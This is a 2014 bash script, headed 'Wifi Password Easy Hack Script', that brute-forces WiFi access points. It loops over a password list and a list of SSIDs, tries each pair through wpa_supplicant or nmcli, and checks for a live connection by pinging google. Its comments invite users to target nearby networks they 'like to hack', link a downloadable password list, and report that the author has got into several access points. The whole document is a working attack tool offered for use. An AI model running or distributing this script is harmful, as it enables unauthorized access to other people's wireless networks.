Wifi Password Easy Hack Script - Directconnection Bruteforce

#!/bin/bash
# This small script is intended for Wifi "often-used" passwords testing.
# It takes passwords from $passfile and ssids from $ssidfile and tries
# to connect to each ssid with each password for $sleeping seconds. If the
# connection is established, it also pings google to know that conn is good.
# It can use either NMCLI interface or WPA_SUPPLICANT interface.
# REQUIRED SOFTWARE: wpa_supplicant, bash, echo, dhclient, killall, ping :)
# REQUIRED FILES:
# - pass.list with passwords (one pass per line, minimum 8 characters each)
# - ssid.list with wifi ssid names (one wifi name per line, no spaces)
# If you need, download my sample pass.list file with 2000+ passwords here:
# http://pastebin.com/NUH0Sf4j
# NOTE 0: Don't forget to check or change interface (wlan0 is default).
# NOTE 1: I've got access to multiple wifi AP's working with WPA_SUPPLICANT.
# NOTE 2: NMCLI currently untested and will NOT work as expected!
# That's all for now. /// 09.05.2014 - Security XIII at Gmail Dot Com

# Choose password file - please read headings of this file if you need one
passfile="pass.list"
# Choose ssid file - please add your own close wifi ssid names you like to hack, one per row
ssidfile="ssid.list"
# Choose interface to work with
iface="wlan0"
# Choose to work via nmcli or via wpa_supplicant
work="viawpa"
# Sleeping (wait for connecion) for how long (seconds)?
sleeping=10

###############################################
# Editing below this line is not recommended. #
###############################################

# Function if working via NMCLI:
vianmcli () { nmcli dev wifi con "$ssid" password "$pass"; }

# Function if working via wpa_supplicant:
viawpa () {
sudo wpa_passphrase "$ssid" "$pass" > /etc/wpa_supplicant.conf
sudo wpa_supplicant -Dwext -i"$iface" -c /etc/wpa_supplicant.conf&
sleep $sleeping
sudo dhclient -r "$iface"&
sleep 2
if [ "$(ping -c 1 google.com)" == "" ]; then
echo "Sorry, Wifi password is incorrect or no internet connection established."
sudo killall wpa_supplicant
else
echo "Successfully connected to $ssid wih $pass password. Gooping:"
ping -c 4 google.com
exit 0;
fi
}

# For each password and each ssid, run the specified function ($work)
for pass in $(cat "$passfile"); do
 for ssid in $(cat "$ssidfile"); do
  echo "Trying to connect to '$ssid' with pass '$pass'"
  $work
  echo "Pinging google DNS, press Ctrl+C to stop if failed"
  ping 8.8.8.8
 done
done